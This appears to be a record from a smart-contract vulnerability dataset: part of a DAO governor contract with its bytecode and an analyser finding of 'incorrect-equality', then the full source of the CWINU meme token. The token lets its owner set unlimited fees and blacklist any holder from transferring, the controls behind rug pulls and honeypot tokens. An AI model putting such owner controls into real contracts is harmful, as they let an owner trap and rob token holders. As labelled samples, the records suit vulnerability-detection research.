// The TimeStamp at which voting ends: votes must be cast prior to this timestap
uint endTs;
// Current number of votes in favor of this proposal
uint forVotes;
// Current number of votes in opposition to this proposal
uint againstVotes;
// Flag marking whether the proposal has been executed
bool executed;
string desc;
// Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
// Ballot receipt record for a voter
struct Receipt {
// Whether or not a vote has been cast
bool hasVoted;
bool support;
uint96 votes;
}
// Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Defeated,
Succeeded,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endTs, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been executed
event ProposalExecuted(uint id, uint eta);
constructor(address _nova) public {
nova = INova(_nova);
domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), block.chainid, address(this)));
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(nova.getPriorVotes(msg.sender, block.number - 1) >= PROPOSAL_THRESHOLD, "Governor::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "Governor::propose: proposal function information arity mismatch");
require(targets.length != 0, "Governor::propose: must provide actions");
require(targets.length <= MAX_ACTIONS, "Governor::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "Governor::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "Governor::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = block.number + VOTING_DELAY ;
uint endTs = block.timestamp + VOTE_PERIOD;
proposalCount++;
Proposal storage newProposal = proposals[proposalCount];
newProposal.id = proposalCount;
newProposal.proposer = msg.sender;
newProposal.eta = 0;
newProposal.targets = targets;
newProposal.values = values;
newProposal.signatures = signatures;
newProposal.calldatas = calldatas;
newProposal.startBlock = startBlock;
newProposal.endTs = endTs;
newProposal.forVotes = 0;
newProposal.againstVotes = 0;
newProposal.executed = false;
newProposal.desc = description;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endTs, description);
return newProposal.id;
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Succeeded, "Governor::execute: only Succeeded proposal can be executed ");
Proposal storage proposal = proposals[proposalId];
proposal.eta = block.timestamp;
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
_executeTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i]);
}
emit ProposalExecuted(proposalId, block.timestamp);
}
function _executeTransaction(address target, uint value, string memory signature, bytes memory data) internal returns (bytes memory) {
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call{value: value}(callData);
require(success, "_executeTransaction: Transaction execution reverted.");
return returnData;
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "Governor::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.timestamp <= proposal.endTs) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else { // if (block.number > proposal.endBlock)
return ProposalState.Expired;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Governor::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "Governor::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "Governor::_castVote: voter already voted");
uint96 votes = nova.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = proposal.forVotes + votes;
} else {
proposal.againstVotes = proposal.againstVotes + votes;
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
}
|
0x6080604052600436106100f35760003560e01c80633e4f49e61161008a578063deaaa7cc11610059578063deaaa7cc146102a5578063e23a9a52146102ba578063f698da25146102e7578063fe0d94c1146102fc576100f3565b80633e4f49e6146102235780634634c61f14610250578063da35c66414610270578063da95691a14610285576100f3565b80631e5ba66c116100c65780631e5ba66c146101a757806320606b70146101c957806324bc1a64146101de578063328dd982146101f3576100f3565b8063013cf08b146100f857806306fdde031461013657806315373e3d1461015857806317977c611461017a575b600080fd5b34801561010457600080fd5b5061011861011336600461189b565b61030f565b60405161012d999897969594939291906120da565b60405180910390f35b34801561014257600080fd5b5061014b6103f3565b60405161012d9190611bfe565b34801561016457600080fd5b506101786101733660046118f6565b61041c565b005b34801561018657600080fd5b5061019a6101953660046117b5565b61042b565b60405161012d9190611b83565b3480156101b357600080fd5b506101bc61043d565b60405161012d9190611bc2565b3480156101d557600080fd5b5061019a61044c565b3480156101ea57600080fd5b5061019a610470565b3480156101ff57600080fd5b5061021361020e36600461189b565b6104fd565b60405161012d9493929190611b36565b34801561022f57600080fd5b5061024361023e36600461189b565b61078e565b60405161012d9190611bd6565b34801561025c57600080fd5b5061017861026b366004611918565b61086a565b34801561027c57600080fd5b5061019a610995565b34801561029157600080fd5b5061019a6102a03660046117cf565b61099b565b3480156102b157600080fd5b5061019a610d05565b3480156102c657600080fd5b506102da6102d53660046118cb565b610d29565b60405161012d9190612014565b3480156102f357600080fd5b5061019a610d95565b61017861030a36600461189b565b610db9565b60026020819052600091825260409091208054600182015492820154600783015460088401546009850154600a860154600b870154600c8801805497996001600160a01b0316989697959694959394929360ff909216929161037090612204565b80601f016020809104026020016040519081016040528092919081815260200182805461039c90612204565b80156103e95780601f106103be576101008083540402835291602001916103e9565b820191906000526020600020905b8154815290600101906020018083116103cc57829003601f168201915b5050505050905089565b6040518060400160405280600d81526020016c2737bb309023b7bb32b93737b960991b81525081565b610427338383611064565b5050565b60036020526000908152604090205481565b6000546001600160a01b031681565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b60008054604080516318160ddd60e01b815290516002926001600160a01b0316916318160ddd916004808301926020929190829003018186803b1580156104b657600080fd5b505afa1580156104ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ee91906118b3565b6104f8919061219d565b905090565b6060806060806000600260008781526020019081526020016000209050806003018160040182600501836006018380548060200260200160405190810160405280929190818152602001828054801561057f57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610561575b50505050509350828054806020026020016040519081016040528092919081815260200182805480156105d157602002820191906000526020600020905b8154815260200190600101908083116105bd575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156106a557838290600052602060002001805461061890612204565b80601f016020809104026020016040519081016040528092919081815260200182805461064490612204565b80156106915780601f1061066657610100808354040283529160200191610691565b820191906000526020600020905b81548152906001019060200180831161067457829003601f168201915b5050505050815260200190600101906105f9565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156107785783829060005260206000200180546106eb90612204565b80601f016020809104026020016040519081016040528092919081815260200182805461071790612204565b80156107645780601f1061073957610100808354040283529160200191610764565b820191906000526020600020905b81548152906001019060200180831161074757829003601f168201915b5050505050815260200190600101906106cc565b5050505090509450945094509450509193509193565b600081600154101580156107a25750600082115b6107c75760405162461bcd60e51b81526004016107be90611e80565b60405180910390fd5b6000828152600260205260409020600781015443116107ea576000915050610865565b806008015442116107ff576001915050610865565b80600a015481600901541115806108205750610819610470565b8160090154105b1561082f576002915050610865565b6002810154610842576003915050610865565b600b81015460ff1615610859576005915050610865565b6004915050610865565b505b919050565b60007f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee86866040516020016108a193929190611b8c565b60405160208183030381529060405280519060200120905060007f26155550e2d0edb1dec3cf2231292fa715c4733700a725f567fb2d0eda910bf0826040516020016108ee929190611ad1565b60405160208183030381529060405280519060200120905060006001828787876040516000815260200160405260405161092b9493929190611ba4565b6020604051602081039080840390855afa15801561094d573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166109805760405162461bcd60e51b81526004016107be90611fca565b61098b818989611064565b5050505050505050565b60015481565b600080546001906001600160a01b031663782d6fe1336109bb84436121bd565b6040518363ffffffff1660e01b81526004016109d8929190611aec565b60206040518083038186803b1580156109f057600080fd5b505afa158015610a04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a28919061196c565b6001600160601b03161015610a4f5760405162461bcd60e51b81526004016107be90611c11565b84518651148015610a61575083518651145b8015610a6e575082518651145b610a8a5760405162461bcd60e51b81526004016107be90611c6e565b8551610aa85760405162461bcd60e51b81526004016107be90611dbf565b600a86511115610aca5760405162461bcd60e51b81526004016107be90611d28565b336000908152600360205260409020548015610b6f576000610aeb8261078e565b90506001816005811115610b0f57634e487b7160e01b600052602160045260246000fd5b1415610b2d5760405162461bcd60e51b81526004016107be90611ec4565b6000816005811115610b4f57634e487b7160e01b600052602160045260246000fd5b1415610b6d5760405162461bcd60e51b81526004016107be90611e06565b505b6000610b7c600143612185565b90506000610b8d62093a8042612185565b600180549192506000610b9f83612239565b9091555050600180546000818152600260208181526040832093845593830180546001600160a01b031916331790558201558a519091610be69160038401918d0190611311565b508851610bfc90600483019060208c0190611376565b508751610c1290600583019060208b01906113b1565b508651610c2890600683019060208a019061140a565b506007810183905560088101829055600060098201819055600a820155600b8101805460ff191690558551610c6690600c8301906020890190611463565b508060000154600360008360010160009054906101000a90046001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000154338c8c8c8c89898e604051610cef99989796959493929190612042565b60405180910390a1549998505050505050505050565b7f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee81565b610d316114d6565b5060009182526002602090815260408084206001600160a01b03939093168452600d9092018152918190208151606081018352905460ff80821615158352610100820416151593820193909352620100009092046001600160601b03169082015290565b7f26155550e2d0edb1dec3cf2231292fa715c4733700a725f567fb2d0eda910bf081565b6003610dc48261078e565b6005811115610de357634e487b7160e01b600052602160045260246000fd5b14610e005760405162461bcd60e51b81526004016107be90611ccb565b600081815260026020819052604082204291810191909155600b8101805460ff19166001179055905b600382015481101561102657611013826003018281548110610e5b57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546004840180546001600160a01b039092169184908110610e9757634e487b7160e01b600052603260045260246000fd5b9060005260206000200154846005018481548110610ec557634e487b7160e01b600052603260045260246000fd5b906000526020600020018054610eda90612204565b80601f0160208091040260200160405190810160405280929190818152602001828054610f0690612204565b8015610f535780601f10610f2857610100808354040283529160200191610f53565b820191906000526020600020905b815481529060010190602001808311610f3657829003601f168201915b5050505050856006018581548110610f7b57634e487b7160e01b600052603260045260246000fd5b906000526020600020018054610f9090612204565b80601f0160208091040260200160405190810160405280929190818152602001828054610fbc90612204565b80156110095780601f10610fde57610100808354040283529160200191611009565b820191906000526020600020905b815481529060010190602001808311610fec57829003601f168201915b5050505050611246565b508061101e81612239565b915050610e29565b507ff758fc91e01b00ea6b4a6138756f7f28e021f9bf21db6dbf8c36c88eb737257a8242604051611058929190612129565b60405180910390a15050565b600161106f8361078e565b600581111561108e57634e487b7160e01b600052602160045260246000fd5b146110ab5760405162461bcd60e51b81526004016107be90611f85565b60008281526002602090815260408083206001600160a01b0387168452600d8101909252909120805460ff16156110f45760405162461bcd60e51b81526004016107be90611f3d565b60008054600784015460405163782d6fe160e01b81526001600160a01b039092169163782d6fe19161112b918a9190600401611aec565b60206040518083038186803b15801561114357600080fd5b505afa158015611157573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061117b919061196c565b905083156111a657806001600160601b0316836009015461119c9190612185565b60098401556111c5565b806001600160601b031683600a01546111bf9190612185565b600a8401555b8154600160ff199091161761ff00191661010085151502176dffffffffffffffffffffffff00001916620100006001600160601b038316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611236908890889088908690611b05565b60405180910390a1505050505050565b60608083516000141561125a575081611286565b838051906020012083604051602001611274929190611a84565b60405160208183030381529060405290505b600080876001600160a01b031687846040516112a29190611ab5565b60006040518083038185875af1925050503d80600081146112df576040519150601f19603f3d011682016040523d82523d6000602084013e6112e4565b606091505b5091509150816113065760405162461bcd60e51b81526004016107be90611d6b565b979650505050505050565b828054828255906000526020600020908101928215611366579160200282015b8281111561136657825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611331565b506113729291506114f6565b5090565b828054828255906000526020600020908101928215611366579160200282015b82811115611366578251825591602001919060010190611396565b8280548282559060005260206000209081019282156113fe579160200282015b828111156113fe57825180516113ee918491602090910190611463565b50916020019190600101906113d1565b5061137292915061150b565b828054828255906000526020600020908101928215611457579160200282015b828111156114575782518051611447918491602090910190611463565b509160200191906001019061142a565b50611372929150611528565b82805461146f90612204565b90600052602060002090601f0160209004810192826114915760008555611366565b82601f106114aa57805160ff1916838001178555611366565b828001600101855582156113665791820182811115611366578251825591602001919060010190611396565b604080516060810182526000808252602082018190529181019190915290565b5b8082111561137257600081556001016114f7565b8082111561137257600061151f8282611545565b5060010161150b565b8082111561137257600061153c8282611545565b50600101611528565b50805461155190612204565b6000825580601f106115635750611581565b601f01602090049060005260206000209081019061158191906114f6565b50565b600067ffffffffffffffff83111561159e5761159e61226a565b6115b1601f8401601f1916602001612137565b90508281528383830111156115c557600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b038116811461086557600080fd5b600082601f830112611603578081fd5b8135602061161861161383612161565b612137565b8281528181019085830183850287018401881015611634578586fd5b855b8581101561165957611647826115dc565b84529284019290840190600101611636565b5090979650505050505050565b600082601f830112611676578081fd5b8135602061168661161383612161565b82815281810190858301855b85811015611659578135880189603f8201126116ac578788fd5b6116bd8a8783013560408401611584565b8552509284019290840190600101611692565b600082601f8301126116e0578081fd5b813560206116f061161383612161565b82815281810190858301855b8581101561165957611713898684358b010161178f565b845292840192908401906001016116fc565b600082601f830112611735578081fd5b8135602061174561161383612161565b8281528181019085830183850287018401881015611761578586fd5b855b8581101561165957813584529284019290840190600101611763565b8035801515811461086557600080fd5b600082601f83011261179f578081fd5b6117ae83833560208501611584565b9392505050565b6000602082840312156117c6578081fd5b6117ae826115dc565b600080600080600060a086880312156117e6578081fd5b853567ffffffffffffffff808211156117fd578283fd5b61180989838a016115f3565b9650602088013591508082111561181e578283fd5b61182a89838a01611725565b9550604088013591508082111561183f578283fd5b61184b89838a016116d0565b94506060880135915080821115611860578283fd5b61186c89838a01611666565b93506080880135915080821115611881578283fd5b5061188e8882890161178f565b9150509295509295909350565b6000602082840312156118ac578081fd5b5035919050565b6000602082840312156118c4578081fd5b5051919050565b600080604083850312156118dd578182fd5b823591506118ed602084016115dc565b90509250929050565b60008060408385031215611908578182fd5b823591506118ed6020840161177f565b600080600080600060a0868803121561192f578283fd5b8535945061193f6020870161177f565b9350604086013560ff81168114611954578384fd5b94979396509394606081013594506080013592915050565b60006020828403121561197d578081fd5b81516001600160601b03811681146117ae578182fd5b6000815180845260208085019450808401835b838110156119cb5781516001600160a01b0316875295820195908201906001016119a6565b509495945050505050565b6000815180845260208085018081965082840281019150828601855b85811015611a1c578284038952611a0a848351611a58565b988501989350908401906001016119f2565b5091979650505050505050565b6000815180845260208085019450808401835b838110156119cb57815187529582019590820190600101611a3c565b60008151808452611a708160208601602086016121d4565b601f01601f19169290920160200192915050565b6001600160e01b0319831681528151600090611aa78160048501602087016121d4565b919091016004019392505050565b60008251611ac78184602087016121d4565b9190910192915050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039490941684526020840192909252151560408301526001600160601b0316606082015260800190565b600060808252611b496080830187611993565b8281036020840152611b5b8187611a29565b90508281036040840152611b6f81866119d6565b9050828103606084015261130681856119d6565b90815260200190565b92835260208301919091521515604082015260600190565b93845260ff9290921660208401526040830152606082015260800190565b6001600160a01b0391909116815260200190565b6020810160068310611bf857634e487b7160e01b600052602160045260246000fd5b91905290565b6000602082526117ae6020830184611a58565b6020808252603a908201527f476f7665726e6f723a3a70726f706f73653a2070726f706f73657220766f746560408201527f732062656c6f772070726f706f73616c207468726573686f6c64000000000000606082015260800190565b6020808252603f908201527f476f7665726e6f723a3a70726f706f73653a2070726f706f73616c2066756e6360408201527f74696f6e20696e666f726d6174696f6e206172697479206d69736d6174636800606082015260800190565b6020808252603b908201527f476f7665726e6f723a3a657865637574653a206f6e6c7920537563636565646560408201527f642070726f706f73616c2063616e206265206578656375746564200000000000606082015260800190565b60208082526023908201527f476f7665726e6f723a3a70726f706f73653a20746f6f206d616e7920616374696040820152626f6e7360e81b606082015260800190565b60208082526034908201527f5f657865637574655472616e73616374696f6e3a205472616e73616374696f6e6040820152731032bc32b1baba34b7b7103932bb32b93a32b21760611b606082015260800190565b60208082526027908201527f476f7665726e6f723a3a70726f706f73653a206d7573742070726f7669646520604082015266616374696f6e7360c81b606082015260800190565b60208082526054908201527f476f7665726e6f723a3a70726f706f73653a206f6e65206c6976652070726f7060408201527f6f73616c207065722070726f706f7365722c20666f756e6420616e20616c726560608201527318591e481c195b991a5b99c81c1c9bdc1bdcd85b60621b608082015260a00190565b60208082526024908201527f476f7665726e6f723a3a73746174653a20696e76616c69642070726f706f73616040820152631b081a5960e21b606082015260800190565b60208082526053908201527f476f7665726e6f723a3a70726f706f73653a206f6e65206c6976652070726f7060408201527f6f73616c207065722070726f706f7365722c20666f756e6420616e20616c726560608201527218591e481858dd1a5d99481c1c9bdc1bdcd85b606a1b608082015260a00190565b60208082526028908201527f476f7665726e6f723a3a5f63617374566f74653a20766f74657220616c726561604082015267191e481d9bdd195960c21b606082015260800190565b60208082526025908201527f476f7665726e6f723a3a5f63617374566f74653a20766f74696e6720697320636040820152641b1bdcd95960da1b606082015260800190565b6020808252602a908201527f476f7665726e6f723a3a63617374566f746542795369673a20696e76616c6964604082015269207369676e617475726560b01b606082015260800190565b8151151581526020808301511515908201526040918201516001600160601b03169181019190915260600190565b8981526001600160a01b03891660208201526101206040820181905260009061206d8382018b611993565b90508281036060840152612081818a611a29565b9050828103608084015261209581896119d6565b905082810360a08401526120a981886119d6565b90508560c08401528460e08401528281036101008401526120ca8185611a58565b9c9b505050505050505050505050565b60006101208b835260018060a01b038b1660208401528960408401528860608401528760808401528660a08401528560c084015284151560e0840152806101008401526120ca81840185611a58565b918252602082015260400190565b60405181810167ffffffffffffffff811182821017156121595761215961226a565b604052919050565b600067ffffffffffffffff82111561217b5761217b61226a565b5060209081020190565b6000821982111561219857612198612254565b500190565b6000826121b857634e487b7160e01b81526012600452602481fd5b500490565b6000828210156121cf576121cf612254565b500390565b60005b838110156121ef5781810151838201526020016121d7565b838111156121fe576000848401525b50505050565b60028104600182168061221857607f821691505b6020821081141561086357634e487b7160e01b600052602260045260246000fd5b600060001982141561224d5761224d612254565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220be9e07a84daeecbc5ee73115b7477531cb870a01824cb9bc63dda2a7134de59664736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 3,341 |
0x1f5b036b2cd7b18d72a5f68ed89d546fd2ebf042
|
/**
*Submitted for verification at Etherscan.io on 2022-04-28
*/
//SPDX-License-Identifier: UNLICENSED
//https://www.chillwineinu.com/
//https://t.me/chillwineinu
//MaxBuy1% 8000000tokens
//Tax 8%, will be decrease to 1% slowly
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CWINU is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 800000000 * 10**9;
string public constant name = unicode"ChillWineInu";
string public constant symbol = unicode"CWINU";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 8;
uint public _sellFee = 8;
uint private _feeRate = 10;
uint public _maxBuyTokens;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (3 minutes)) > block.timestamp) {
require(amount <= _maxBuyTokens);
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function createPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyTokens = 8000000 * 10**9;
_maxHeldTokens = 16000000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeCollectionADD);
require(rate > 0);
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _FeeCollectionADD);
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function IncreasemaxTxAmount(uint256 maxTxAmount) public onlyOwner {
_maxBuyTokens = maxTxAmount;
}
function IncreaseWallet(uint256 maxWallet) public onlyOwner {
_maxHeldTokens = maxWallet;
}
}
|
